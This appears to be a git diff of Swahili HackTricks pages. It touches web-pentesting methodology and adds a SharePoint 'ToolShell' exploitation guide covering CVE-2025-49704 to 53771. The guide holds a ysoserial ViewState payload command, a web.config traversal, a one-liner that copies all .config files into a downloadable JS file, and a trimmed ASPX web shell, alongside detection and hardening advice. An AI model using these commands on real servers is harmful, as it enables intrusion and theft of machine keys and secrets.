- **Faili za JS**: Katika sehemu ya spidering zana kadhaa ambazo zinaweza kutoa njia kutoka kwa faili za JS zilitajwa. Pia, itakuwa ya kuvutia **kufuatilia kila faili la JS lililopatikana**, kwani katika baadhi ya matukio, mabadiliko yanaweza kuashiria kuwa udhaifu wa uwezekano umeingizwa katika msimbo. Unaweza kutumia kwa mfano [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Unapaswa pia kuangalia faili za JS zilizogunduliwa na [**RetireJS**](https://github.com/retirejs/retire.js/) au [**JSHole**](https://github.com/callforpapers-source/jshole) ili kuona ikiwa ni dhaifu.
|
||||
- **Javascript Deobfuscator na Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck deobfuscation** (javascript na herufi:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- Katika matukio kadhaa, utahitaji **kuelewa kanuni za kawaida** zinazotumika. Hii itakuwa na manufaa: [https://regex101.com/](https://regex101.com) au [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- Unaweza pia **kufuatilia faili ambapo fomu zilipatikana**, kwani mabadiliko katika parameter au kuonekana kwa fomu mpya kunaweza kuashiria kazi mpya inayoweza kuwa na udhaifu.
|
||||
- Katika matukio kadhaa, itabidi **uelewe kanuni za kawaida** zinazotumika. Hii itakuwa na manufaa: [https://regex101.com/](https://regex101.com) au [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- Unaweza pia **kufuatilia faili ambapo fomu zilipatikana**, kwani mabadiliko katika parameter au kuonekana kwa fomu mpya kunaweza kuashiria uwezekano wa kazi mpya yenye udhaifu.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
@ -308,21 +309,21 @@ _Kumbuka kwamba kila wakati directory mpya inapatikana wakati wa brute-forcing a
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
Ikiwa ukurasa wowote **unajibu** na **nambari** hiyo, labda ni **proxy iliyo na makosa**. **Ikiwa unatumia ombi la HTTP kama: `GET https://google.com HTTP/1.1`** (pamoja na kichwa cha mwenyeji na vichwa vingine vya kawaida), **proxy** itajaribu **kufikia** _**google.com**_ **na utakuwa umepata** SSRF.
|
||||
Ikiwa ukurasa wowote **unajibu** na **nambari** hiyo, labda ni **proxy iliyo na usanidi mbaya**. **Ikiwa unatumia ombi la HTTP kama: `GET https://google.com HTTP/1.1`** (pamoja na kichwa cha mwenyeji na vichwa vingine vya kawaida), **proxy** itajaribu **kufikia** _**google.com**_ **na utakuwa umepata** SSRF.
|
||||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
**NTLM Authentication - Ufichuzi wa habari**
|
||||
|
||||
Ikiwa seva inayotumika inahitaji uthibitisho ni **Windows** au unapata kuingia inayoomba **akili zako** (na kuomba **jina la** **domain**), unaweza kusababisha **ufichuzi wa habari**.\
|
||||
Ikiwa seva inayotumika inahitaji uthibitisho ni **Windows** au unapata kuingia inayoomba **credentials** zako (na kuomba **jina la** **domain**), unaweza kusababisha **ufichuzi wa habari**.\
|
||||
**Tuma** **kichwa**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` na kutokana na jinsi **uthibitisho wa NTLM unavyofanya kazi**, seva itajibu kwa habari za ndani (toleo la IIS, toleo la Windows...) ndani ya kichwa "WWW-Authenticate".\
|
||||
Unaweza **kujiandaa** hii kwa kutumia **nmap plugin** "_http-ntlm-info.nse_".
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
Inawezekana **kweka maudhui** ndani ya **Redirection**. Maudhui haya **hayataonyeshwa kwa mtumiaji** (kama kivinjari kitatekeleza redirection) lakini kitu kinaweza kuwa **kimefichwa** huko.
|
||||
Inawezekana **kweka maudhui** ndani ya **Redirection**. Maudhui haya **hayataonyeshwa kwa mtumiaji** (kama kivinjari kitatekeleza redirection) lakini kitu kinaweza kuwa **kimefichwa** humo.
|
||||
|
||||
### Kuangalia Udhaifu wa Wavuti
|
||||
|
||||
Sasa kwamba orodha kamili ya programu ya wavuti imefanywa, ni wakati wa kuangalia udhaifu wengi wa uwezekano. Unaweza kupata orodha ya kuangalia hapa:
|
||||
Sasa kwamba orodha kamili ya programu ya wavuti imefanywa ni wakati wa kuangalia udhaifu wengi wa uwezekano. Unaweza kupata orodha ya ukaguzi hapa:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||
@ -338,7 +339,7 @@ Pata maelezo zaidi kuhusu udhaifu wa wavuti katika:
|
||||
|
||||
Unaweza kutumia zana kama [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) kufuatilia kurasa kwa mabadiliko ambayo yanaweza kuingiza udhaifu.
|
||||
|
||||
### HackTricks Amri za Otomatiki
|
||||
### HackTricks Amri za Moja kwa Moja
|
||||
```
|
||||
Protocol_Name: Web #Protocol Abbreviation if there is one.
|
||||
Port_Number: 80,443 #Comma separated if there is more than one.
|
||||
|
||||
@ -0,0 +1,126 @@
|
||||
# Microsoft SharePoint – Pentesting & Exploitation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Microsoft SharePoint (on-premises) imejengwa juu ya ASP.NET/IIS. Hivyo, sehemu nyingi za shambulio la wavuti za jadi (ViewState, Web.Config, web shells, nk.) zipo, lakini SharePoint pia inakuja na mamia ya kurasa za ASPX za miliki na huduma za wavuti ambazo zinaongeza kwa kiasi kikubwa uso wa shambulio ulio wazi. Ukurasa huu unakusanya mbinu za vitendo za kuhesabu, kutumia na kudumisha ndani ya mazingira ya SharePoint huku ukisisitiza mnyororo wa shambulio wa 2025 uliofunuliwa na Unit42 (CVE-2025-49704/49706/53770/53771).
|
||||
|
||||
## 1. Quick enumeration
|
||||
```
|
||||
# favicon hash and keywords
|
||||
curl -s https://<host>/_layouts/15/images/SharePointHome.png
|
||||
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
|
||||
|
||||
# version leakage (often in JS)
|
||||
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
|
||||
|
||||
# interesting standard paths
|
||||
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
|
||||
/_vti_bin/Lists.asmx # legacy SOAP service
|
||||
/_catalogs/masterpage/Forms/AllItems.aspx
|
||||
|
||||
# enumerate sites & site-collections (requires at least Anonymous)
|
||||
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
|
||||
```
|
||||
## 2. 2025 exploit chain (a.k.a. “ToolShell”)
|
||||
|
||||
### 2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx
|
||||
|
||||
`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` inaruhusu *Server-Side Include* code kuingizwa kwenye ukurasa ambao baadaye unakusanywa na ASP.NET. Mshambuliaji anaweza kuingiza C# inayotekeleza `Process.Start()` na kuacha ViewState mbaya.
|
||||
|
||||
### 2.2 CVE-2025-49706 – Improper Authentication Bypass
|
||||
|
||||
Ukurasa huo huo unategemea kichwa cha **X-Forms_BaseUrl** ili kubaini muktadha wa tovuti. Kwa kuelekeza kwenye `/_layouts/15/`, MFA/SSO inayotekelezwa kwenye tovuti ya mzizi inaweza kupuuziliwa mbali **bila uthibitisho**.
|
||||
|
||||
### 2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
|
||||
|
||||
Mara mshambuliaji anapodhibiti kifaa katika `ToolPane.aspx` wanaweza kutuma thamani ya **unsigned** (au MAC-tu) `__VIEWSTATE` inayosababisha deserialization ya .NET ndani ya *w3wp.exe* inayopelekea utekelezaji wa code.
|
||||
|
||||
Ikiwa kusainiwa kumewashwa, ny steal **ValidationKey/DecryptionKey** kutoka kwa `web.config` yoyote (ona 2.4) na uunda payload kwa *ysoserial.net* au *ysodom*:
|
||||
```
|
||||
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
|
||||
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
|
||||
```
|
||||
Kwa maelezo ya kina juu ya kutumia ASP.NET ViewState soma:
|
||||
{{#ref}}
|
||||
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
|
||||
{{#endref}}
|
||||
|
||||
### 2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure
|
||||
|
||||
Kutuma parameter ya `Source` iliyoundwa kwa `ToolPane.aspx` (kwa mfano `../../../../web.config`) inarudisha faili lililokusudiwa, ikiruhusu kuvuja kwa:
|
||||
|
||||
* `<machineKey validationKey="…" decryptionKey="…">` ➜ fanya ViewState / ASPXAUTH cookies
|
||||
* nyuzi za muunganisho & siri.
|
||||
|
||||
## 3. Mapishi ya baada ya unyakuzi yaliyoshuhudiwa katika pori
|
||||
|
||||
### 3.1 Exfiltrate kila *.config* faili (toleo-1)
|
||||
```
|
||||
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
|
||||
```
|
||||
`debug_dev.js` inayoweza kupakuliwa kwa siri na ina **yote** mipangilio nyeti.
|
||||
|
||||
### 3.2 Weka shell ya wavuti ya ASPX iliyoandikwa kwa Base64 (tofauti-2)
|
||||
```
|
||||
powershell.exe -EncodedCommand <base64>
|
||||
```
|
||||
Mfano wa payload iliyotafsiriwa (imepunguzika):
|
||||
```csharp
|
||||
<%@ Page Language="C#" %>
|
||||
<%@ Import Namespace="System.Security.Cryptography" %>
|
||||
<script runat="server">
|
||||
protected void Page_Load(object sender, EventArgs e){
|
||||
Response.Write(MachineKey.ValidationKey);
|
||||
// echo secrets or invoke cmd
|
||||
}
|
||||
</script>
|
||||
```
|
||||
Imeandikwa kwa:
|
||||
```
|
||||
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
|
||||
```
|
||||
The shell inafichua mwisho wa **kusoma / kubadilisha funguo za mashine** ambazo zinaruhusu kutengeneza ViewState na vidakuzi vya ASPXAUTH katika shamba.
|
||||
|
||||
### 3.3 Tofauti iliyofichwa (variation-3)
|
||||
|
||||
Shell hiyo hiyo lakini:
|
||||
* imetolewa chini ya `...\15\TEMPLATE\LAYOUTS\`
|
||||
* majina ya mabadiliko yamepunguzwa kuwa herufi moja
|
||||
* `Thread.Sleep(<ms>)` imeongezwa kwa ajili ya kuepuka sandbox & kupita AV kulingana na wakati.
|
||||
|
||||
## 4. Mawazo ya kugundua
|
||||
|
||||
| Telemetry | Kwa nini ni ya kushuku |
|
||||
|-----------|----------------------|
|
||||
| `w3wp.exe → cmd.exe` | Mchakato wa mfanyakazi unapaswa nadra kuzalisha shell |
|
||||
| `cmd.exe → powershell.exe -EncodedCommand` | Mwelekeo wa jadi wa lolbin |
|
||||
| Matukio ya faili yanayounda `debug_dev.js` au `spinstall0.aspx` | IOCs moja kwa moja kutoka ToolShell |
|
||||
| `ProcessCmdLine INASHIRIKI ToolPane.aspx` (ETW/Module logs) | PoCs za umma zinaita ukurasa huu |
|
||||
|
||||
Mfano wa sheria ya XDR / Sysmon (pseudo-XQL):
|
||||
```
|
||||
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
|
||||
```
|
||||
## 5. Kuimarisha & Kupunguza
|
||||
|
||||
1. **Patch** – Sasisho za usalama za Julai 2025 zinarekebisha *zote* CVEs nne.
|
||||
2. **Rotate** kila `<machineKey>` na siri za `ViewState` baada ya kuathiriwa.
|
||||
3. Ondoa ruhusa ya kuandika *LAYOUTS* kutoka kwa vikundi vya `WSS_WPG` & `WSS_ADMIN_WPG`.
|
||||
4. Zuia ufikiaji wa nje kwa `/_layouts/15/ToolPane.aspx` katika kiwango cha proxy/WAF.
|
||||
5. Wezesha **ViewStateUserKey**, **MAC enabled**, na *EventValidation* maalum.
|
||||
|
||||
## Njia zinazohusiana
|
||||
|
||||
* IIS post-exploitation & matumizi mabaya ya web.config:
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
|
||||
{{#endref}}
|
||||
|
||||
## Marejeleo
|
||||
|
||||
- [Unit42 – Ukatili wa Kazi wa Uhalifu wa Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
|
||||
- [GitHub PoC – Mnyororo wa uhalifu wa ToolShell](https://github.com/real-or-not/ToolShell)
|
||||
- [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
|
||||
- [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user